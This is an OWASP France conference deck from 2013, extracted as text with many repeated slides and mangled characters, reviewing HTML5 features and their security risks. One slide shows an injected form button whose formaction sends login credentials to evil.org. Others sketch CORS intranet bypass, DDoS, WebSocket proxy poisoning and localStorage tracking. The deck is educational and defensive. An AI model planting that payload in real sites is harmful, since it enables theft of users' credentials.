2012 07-05-spn-sgi-v1-lite2012 07-05-spn-sgi-v1-lite
2012 07-05-spn-sgi-v1-lite
 
2012 03-02-sdl-sgi-v03
2012 03-02-sdl-sgi-v032012 03-02-sdl-sgi-v03
2012 03-02-sdl-sgi-v03
 
2012 03-01-ror security v01
2012 03-01-ror security v012012 03-01-ror security v01
2012 03-01-ror security v01
 
OWASP Mobile Top10 - Les 10 risques sur les mobiles
OWASP Mobile Top10 -  Les 10 risques sur les mobilesOWASP Mobile Top10 -  Les 10 risques sur les mobiles
OWASP Mobile Top10 - Les 10 risques sur les mobiles
 

2013 04-04-html5-security-v2

  • 1. et  la  sécurité un  point  d’étape Sébas3en  Gioria OWASP  France  Leader   GSDays  -­‐  4  Avril  2013  -­‐  Paris  -­‐    France Friday, April 5, 13
  • 2. http://www.google.fr/#q=sebastien gioria ‣Consultant Indépendant en Sécurité Applicative ‣OWASP France Leader & Founder - Evangéliste ‣OWASP Global Education Comittee Member (sebastien.gioria@owasp.org) Twitter :@SPoint Friday, April 5, 13 2
  • 3. Agenda • Un  peu  d’histoire • HTML5  pour  les  nuls  en  4mn  2s • Nouvelles  a;aques  et  protec>ons  ? • Références Oui,  vous  avez  bien  lu  quelque  chose  ici 3 Friday, April 5, 13
  • 4. Delorean  Passion 1993 1995 1998 2000 2006 2013 HTML  4.0 HTML  5  ? HTML  2.0 CSS  2 CSS  3 HTML  1.0 JavaScript la  DOM XmlH;pRequest Il  n’y  aura  pas  d’éléphpants  dans  ce;e  présenta>on 4 Friday, April 5, 13
  • 5. Delorean  Passion 1993 1995 1998 2000 2006 2013 HTML  4.0 HTML  5  ? HTML  2.0 CSS  2 CSS  3 HTML  1.0 JavaScript la  DOM XmlH;pRequest Il  n’y  aura  pas  d’éléphpants  dans  ce;e  présenta>on 4 Friday, April 5, 13
  • 6. Delorean  Passion 1993 1995 1998 2000 2006 2013 HTML  4.0 HTML  5  ? HTML  2.0 CSS  2 CSS  3 HTML  1.0 JavaScript la  DOM XmlH;pRequest 20  ans,  noces  de  porcelaine... Il  n’y  aura  pas  d’éléphpants  dans  ce;e  présenta>on 4 Friday, April 5, 13
  • 7. L’état  de  la  norme par  contre  il  y  a  d’autres  animaux... 5 Friday, April 5, 13
  • 8. Eléments  intéressants  de  HTML5 mais  pas  dans  ce  slide 6 Friday, April 5, 13
  • 9. 4mn  2s • Nouvelles  balises – On  n’est  pas  la  pour  parler  de  peinture... • Nouvelles  APIs –WebSocket –WebMessaging –IndexedDB –OffLine  Web  ApplicaBon –WebStorage  (votre  nouveau  DropBox  ?  ...) –Cross  Origin  Ressource  Sharing  (déja  rien  que  le  nom   est  intéressant...) Ni  dans  celui  la.... 7 Friday, April 5, 13
  • 10. 4mn  2s • WebSocket : Permet d’effectuer des connexions persistantes et bi- directionnelles • mécanisme  de  “Push”  possible • interface  en  cours  de  finalisaBon/spécificaBons • nécessite  un  serveur  “compaBble” • API  minimaliste  (send,  receive  via  event) • hPp://www.w3.org/TR/websockets/ en  meme  temps,  des  animaux  dans  ce;e  présenta>on  pourquoi  ?   8 Friday, April 5, 13
  • 11. 4mn  2s • WebMessaging : communication inter- documents HTML • via  la  méthode  window.postMessage(); • pas  de  garanBe  de  contenu  inoffensif  (ie;  pas  de   filtre  de  type  anB-­‐XSS  ....) • vérificaBon  de  l’origine  a  la  charge  de   l’applicaBon  receptrice. • il  est  possible  de  transporter  du  JSON  :) • hPp://www.w3.org/TR/webmessaging/ tout  seimplement  parcequ’elle  a  été  finalisée  à  Paques 9 Friday, April 5, 13
  • 12. 4mn  2s • IndexedDB; la Web SQL Database... •API  synchrone  et  asynchrone •pensée  pour  JavaScript;  stockage  d’objets   •hPp://www.w3.org/TR/IndexedDB/ me;re  des  oeufs  était  difficile 10 Friday, April 5, 13
  • 13. 4mn  2s • Offline Web Applications: possibilité d’exécuter tout ou partie des applications même non connecté. –via  navigator.onLine –mise  en  cache  des  données  nécessaires(HTML,  CSS,   JavaScript...) –hPp://www.w3.org/TR/html5/offline.html et  du  chocolat  aussi 11 Friday, April 5, 13
  • 14. 4mn  2s • WebStorage : donne la capacité au navigateur de stocker jusqu’a 5Mo à 10Mo de données • deux  type  de  stockage  :  local  ou  de  session • possibilité  de  stocker  des  objets  JSON • possibilité  de  stocker  de  manière  régulière • hPp://www.w3.org/TR/webstorage/ 12 Friday, April 5, 13
  • 15. Sécurité  ? 13 Friday, April 5, 13
  • 16. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM 14 Friday, April 5, 13
  • 17. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM 14 Friday, April 5, 13
  • 18. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM 14 Friday, April 5, 13
  • 19. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM APIs  Stockage   (Web,  SQL,  ..) 14 Friday, April 5, 13
  • 20. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM APIs  Stockage   API  GeoLoc (Web,  SQL,  ..) 14 Friday, April 5, 13
  • 21. Modèle  de  sécurité  HTML5 Interface  U>lisateur Sandbox/SOP HTML/CSS JavaScript HTTP/XHR/WebSockets Page/ Appli Internet DOM APIs  Stockage   API  GeoLoc API  ... (Web,  SQL,  ..) 14 Friday, April 5, 13
  • 22. FalsificaBon  de  Forms • Il  est  possible  de  contrôler  une  Forms  en  dehors   de  l’élément  “form” <form id=“myform” action=“basic.php” > <input type=“text” name=“user” value=“…” /> </form> <input form=“myform” type=“submit” name=“…” value=“Advanced Version”/> 15 Friday, April 5, 13
  • 23. FalsificaBon  Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> 16 Friday, April 5, 13
  • 24. FalsificaBon  Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> Si  on  arrive  à  injecter  ce  code 16 Friday, April 5, 13
  • 25. FalsificaBon  Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> Si  on  arrive  à  injecter  ce  code New VIP section of the site is open! <input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” /> 16 Friday, April 5, 13
  • 26. FalsificaBon  Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> Si  on  arrive  à  injecter  ce  code New VIP section of the site is open! <input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” /> 16 Friday, April 5, 13
  • 27. FalsificaBon  Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> Si  on  arrive  à  injecter  ce  code New VIP section of the site is open! <input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” /> Automa3quement,  evil.org  dispose  des  éléments  et  la  Forms   ini3ale  est  appelée 16 Friday, April 5, 13
  • 28. Protocol/content  Handlers • Il  est  possible  d’enregistrer  des  handlers  de   protocole  ou  de  type  de  fichiers   personalisés   • sms:// • applica>on/pdf Il  est  possible  (mais  pas  recommandé)  de  changer   les  handlers  standards  (dépend  des  navigateurs) Il  n’est  pas  obligatoire  de  demander  à  l’u3lisateur   son  autorisa3on   17 Friday, April 5, 13
  • 29. Cross  Origin  Resource  Sharing  1/4 • XHR  ne  peut  dialoguer  qu’avec  le  site  Web   originaire  du  JavaScript non,  vous  avez  bien  lu...Un  boeuf  !   18 Friday, April 5, 13
  • 30. Cross  Origin  Resource  Sharing  1/4 • XHR  ne  peut  dialoguer  qu’avec  le  site  Web   originaire  du  JavaScript non,  vous  avez  bien  lu...Un  boeuf  !   18 Friday, April 5, 13
  • 31. Cross  Origin  Resource  Sharing  1/4 • XHR  ne  peut  dialoguer  qu’avec  le  site  Web   originaire  du  JavaScript Mais  c’etait  sans  compter  les  boeufs  ! non,  vous  avez  bien  lu...Un  boeuf  !   18 Friday, April 5, 13
  • 32. Cross  Origin  Resource  Sharing  1/4 • XHR  ne  peut  dialoguer  qu’avec  le  site  Web   originaire  du  JavaScript Mais  c’etait  sans  compter  les  boeufs  ! HTTP/1.1 200 OK Content-Type: text/html Access-Control-Allow-Origin: http://internal.example.com non,  vous  avez  bien  lu...Un  boeuf  !   18 Friday, April 5, 13
  • 33. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19 Friday, April 5, 13
  • 34. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19 Friday, April 5, 13
  • 35. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19 Friday, April 5, 13
  • 36. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19 Friday, April 5, 13
  • 37. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19 Friday, April 5, 13
  • 38. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr GET  /  HTTP/1.1 intranet 19 Friday, April 5, 13
  • 39. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr GET  /  HTTP/1.1 intranet 19 Friday, April 5, 13
  • 40. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * GET  /  HTTP/1.1 HTTP/1.1  200  Ok intranet 19 Friday, April 5, 13
  • 41. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * GET  /  HTTP/1.1 HTTP/1.1  200  Ok intranet 19 Friday, April 5, 13
  • 42. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19 Friday, April 5, 13
  • 43. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr  GET  /  HTTP/1.1   intranet 19 Friday, April 5, 13
  • 44. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr  GET  /  HTTP/1.1   intranet 19 Friday, April 5, 13
  • 45. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19 Friday, April 5, 13
  • 46. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr HTTP/1.1  200  Ok <script>XMLH;pRequest... intranet 19 Friday, April 5, 13
  • 47. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr HTTP/1.1  200  Ok <script>XMLH;pRequest... intranet 19 Friday, April 5, 13
  • 48. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19 Friday, April 5, 13
  • 49. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr XMLHTTPRequest intranet 19 Friday, April 5, 13
  • 50. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr XMLHTTPRequest intranet 19 Friday, April 5, 13
  • 51. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19 Friday, April 5, 13
  • 52. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * HTTP/1.1  200  Ok intranet 19 Friday, April 5, 13
  • 53. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * HTTP/1.1  200  Ok intranet 19 Friday, April 5, 13
  • 54. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * HTTP/1.1  200  Ok intranet 19 Friday, April 5, 13
  • 55. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr Access-­‐Control-­‐Allow-­‐Origin:  * HTTP/1.1  200  Ok intranet 19 Friday, April 5, 13
  • 56. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr intranet 19 Friday, April 5, 13
  • 57. Cross  Origin  Resource  Sharing  2/4 Bypass  des  contrôles  d’accès poc.ckers.fr POST  /endpoint  HTTP/1.1 .....(contenu  de  la  page  interne) intranet 19 Friday, April 5, 13
  • 58. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20 Friday, April 5, 13
  • 59. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20 Friday, April 5, 13
  • 60. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20 Friday, April 5, 13
  • 61. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20 Friday, April 5, 13
  • 62. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20 Friday, April 5, 13
  • 63. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr  GET  /  HTTP/1.1   www.cible.com 20 Friday, April 5, 13
  • 64. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr  GET  /  HTTP/1.1   www.cible.com 20 Friday, April 5, 13
  • 65. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20 Friday, April 5, 13
  • 66. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr HTTP/1.1  200  Ok <iframe  src=... www.cible.com 20 Friday, April 5, 13
  • 67. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20 Friday, April 5, 13
  • 68. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20 Friday, April 5, 13
  • 69. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20 Friday, April 5, 13
  • 70. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20 Friday, April 5, 13
  • 71. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr XML H;p Req uest www.cible.com 20 Friday, April 5, 13
  • 72. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20 Friday, April 5, 13
  • 73. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20 Friday, April 5, 13
  • 74. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr XML H;p www.cible.com Req uest 20 Friday, April 5, 13
  • 75. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20 Friday, April 5, 13
  • 76. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20 Friday, April 5, 13
  • 77. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com XML H;p Req uest 20 Friday, April 5, 13
  • 78. Cross  Origin  Resource  Sharing  3/4 DDOS  ? poc.ckers.fr www.cible.com 20 Friday, April 5, 13
  • 79. Cross  Origin  Resource   • Contre-­‐mesures  :   • RestricBon  du  domaine • Ne  pas  faire  confiance  à  l’entete;  elle  peut  être   modifiée  par  l’aPaquant. • MePre  en  place  des  contre-­‐mesures  réseaux   franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on.... 21 Friday, April 5, 13
  • 80. Cross  Origin  Resource   • Contre-­‐mesures  :   • RestricBon  du  domaine • Ne  pas  faire  confiance  à  l’entete;  elle  peut  être   modifiée  par  l’aPaquant. • MePre  en  place  des  contre-­‐mesures  réseaux   franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on.... 21 Friday, April 5, 13
  • 81. Cross  Origin  Resource   • Contre-­‐mesures  :   • RestricBon  du  domaine • Ne  pas  faire  confiance  à  l’entete;  elle  peut  être   modifiée  par  l’aPaquant. • MePre  en  place  des  contre-­‐mesures  réseaux   pour  les  DDOS franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on.... 21 Friday, April 5, 13
  • 82. Cross  Origin  Resource   • Contre-­‐mesures  :   • RestricBon  du  domaine • Ne  pas  faire  confiance  à  l’entete;  elle  peut  être   modifiée  par  l’aPaquant. • MePre  en  place  des  contre-­‐mesures  réseaux   pour  les  DDOS franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on.... 21 Friday, April 5, 13
  • 83. Cross  Origin  Resource   • Contre-­‐mesures  :   • RestricBon  du  domaine • Ne  pas  faire  confiance  à  l’entete;  elle  peut  être   modifiée  par  l’aPaquant. • MePre  en  place  des  contre-­‐mesures  réseaux   pour  les  DDOS débrancher  le  cable.... franchement,  vous  avez  une  autre  réelle  solu>on  pour  les  DDOS  ?  =>  Venir  me  voir  a  la  fin  de  la  présenta>on  avec  votre  vraie  solu>on.... 21 Friday, April 5, 13
  • 84. WebStorage • Pas  de  contrôle  de  la  part  de  l’u>lisateur  sur  ce   qui  est  stocké/accéder ➡DOS  via  les  disques  par  remplissage • L’injec>on  de  Javascript  peut  bypasser  la   limita>on  du  contrôle  d’accès. ➡Vol  de  Sessions ➡Vol  de  données  sensibles ➡Tracking  d’uBlisateurs 22 Friday, April 5, 13
  • 85. All  you  disk  is  belong  to  US  ? bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23 Friday, April 5, 13
  • 86. All  you  disk  is  belong  to  US  ? • Par  défaut  WebStorage  limite  a  quelques  méga   l’espace  disque  par  origine  (2.5Mb  à  10Mb)   bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23 Friday, April 5, 13
  • 87. All  you  disk  is  belong  to  US  ? • Par  défaut  WebStorage  limite  a  quelques  méga   l’espace  disque  par  origine  (2.5Mb  à  10Mb)   • La  norme  dit  que  chaque  origine  n’a  pas   forcément  5Mb.  Mais... bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23 Friday, April 5, 13
  • 88. All  you  disk  is  belong  to  US  ? • Par  défaut  WebStorage  limite  a  quelques  méga   l’espace  disque  par  origine  (2.5Mb  à  10Mb)   • La  norme  dit  que  chaque  origine  n’a  pas   forcément  5Mb.  Mais... bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23 Friday, April 5, 13
  • 89. All  you  disk  is  belong  to  US  ? • Par  défaut  WebStorage  limite  a  quelques  méga   l’espace  disque  par  origine  (2.5Mb  à  10Mb)   • La  norme  dit  que  chaque  origine  n’a  pas   forcément  5Mb.  Mais... bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23 Friday, April 5, 13
  • 90. All  you  disk  is  belong  to  US  ? • Par  défaut  WebStorage  limite  a  quelques  méga   l’espace  disque  par  origine  (2.5Mb  à  10Mb)   • La  norme  dit  que  chaque  origine  n’a  pas   forcément  5Mb.  Mais... • En  cours  de  correc>on,  mais  démonstra>on   intéressante.... • Tests  à  h;p://www.filldisk.com/ bon,  oui,  la  vidéo  a  été  faite  hier...mais  c’etait  pour  éviter  l’effet  démo 23 Friday, April 5, 13
  • 91. WebStorage • Tracking  User Les  localStorage  ne  sont  pas  forcément  effacés  lorsqu’on  efface   l’historique  (ni  quand  on  qui]e  le  navigateur) J’en  connais  plusieurs  qui  vont  ouvrir  FireBug  rapidement.... 24 Friday, April 5, 13
  • 92. WebStorage • Tracking  User Les  localStorage  ne  sont  pas  forcément  effacés  lorsqu’on  efface   l’historique  (ni  quand  on  qui]e  le  navigateur) J’en  connais  plusieurs  qui  vont  ouvrir  FireBug  rapidement.... 24 Friday, April 5, 13
  • 93. WebStorage • Tracking  User Les  localStorage  ne  sont  pas  forcément  effacés  lorsqu’on  efface   l’historique  (ni  quand  on  qui]e  le  navigateur) Il  est  donc  possible  de  créer  des  iden3fiants  (de  type  cookies)   persistants  perme]ant  de  suivre  l’u3lisateur J’en  connais  plusieurs  qui  vont  ouvrir  FireBug  rapidement.... 24 Friday, April 5, 13
  • 94. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? • c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25 Friday, April 5, 13
  • 95. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? • c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25 Friday, April 5, 13
  • 96. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? • c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25 Friday, April 5, 13
  • 97. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? • c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25 Friday, April 5, 13
  • 98. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25 Friday, April 5, 13
  • 99. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25 Friday, April 5, 13
  • 100. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25 Friday, April 5, 13
  • 101. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25 Friday, April 5, 13
  • 102. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25 Friday, April 5, 13
  • 103. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25 Friday, April 5, 13
  • 104. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25 Friday, April 5, 13
  • 105. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25 Friday, April 5, 13
  • 106. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake Tunnel  TCP  Full  Duplex c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25 Friday, April 5, 13
  • 107. WebSocket  API  :) • Possible  entre  différents  domaines • Perme;rai  de  réduire  la  taille  du  contenu   transporté  ? •  GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake Tunnel  TCP  Full  Duplex c’est  quand  même  un  peu  sale  de  se  servir  des  WebSockets 25 Friday, April 5, 13
  • 108. Websocket  Menaces • Parmi  les  a;aques  possibles,  certaines  sont   triviales:   • Shell  Distant   • Botnet  Web   • via  un  XSS  ou  tout  simplement  en  se  connectant  à   un  site  Web. • Port  scanning... 26 Friday, April 5, 13
  • 109. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache   27 Ca  me  rappelle  les  proxy  SFR... Friday, April 5, 13
  • 110. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache   27 Ca  me  rappelle  les  proxy  SFR... Friday, April 5, 13
  • 111. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache   27 Ca  me  rappelle  les  proxy  SFR... Friday, April 5, 13
  • 112. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache   27 Ca  me  rappelle  les  proxy  SFR... Friday, April 5, 13
  • 113. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   27 Ca  me  rappelle  les  proxy  SFR... Friday, April 5, 13
  • 114. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   27 Ca  me  rappelle  les  proxy  SFR... Friday, April 5, 13
  • 115. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok 27 Ca  me  rappelle  les  proxy  SFR... Friday, April 5, 13
  • 116. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok 27 Ca  me  rappelle  les  proxy  SFR... Friday, April 5, 13
  • 117. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket 27 Ca  me  rappelle  les  proxy  SFR... Friday, April 5, 13
  • 118. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket 27 Ca  me  rappelle  les  proxy  SFR... Friday, April 5, 13
  • 119. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake 27 Ca  me  rappelle  les  proxy  SFR... Friday, April 5, 13
  • 120. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake 27 Ca  me  rappelle  les  proxy  SFR... Friday, April 5, 13
  • 121. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake 27 Ca  me  rappelle  les  proxy  SFR... Friday, April 5, 13
  • 122. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake  GET  /  HTTP/1.1 Host:  some.host.com   27 Ca  me  rappelle  les  proxy  SFR... Friday, April 5, 13
  • 123. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake  GET  /  HTTP/1.1 Host:  some.host.com   27 Ca  me  rappelle  les  proxy  SFR... Friday, April 5, 13
  • 124. WebSocket • Empoisonnement  dransparent de  proxy Proxy  T e  cache    GET  /  HTTP/1.1   HTTP/1.1  200  Ok Upgrade  WebSocket WebSocket  Protocol  Handshake  GET  /  HTTP/1.1 Host:  some.host.com   HTTP/1.1  200  Ok Contenu  falsifié 27 Ca  me  rappelle  les  proxy  SFR... Friday, April 5, 13
  • 125. OffLine  Web  ApplicaBon <!DOCTYPE HTML> <html manifest="/cache.manifest"> <body> • Possibilité  d’avoir  des  a;aques  de  Type   APT  ? • Possibilité  de  pollu>on  des  caches  de   navigateurs  (via  un  point  d’accès   malveillant);  meme  du  SSL Je  crois  que  Nicolas  a  un  bon  avis  sur  les  APT.... 28 Friday, April 5, 13
  • 126. WebMessage • Possibilité  de  perte  de  données  sensibles  (si   envoyées  à  une  “mauvaise  iframe”) postMessage() Page  du  site  “interne” <iframe  src=”outside.control” 29 Friday, April 5, 13
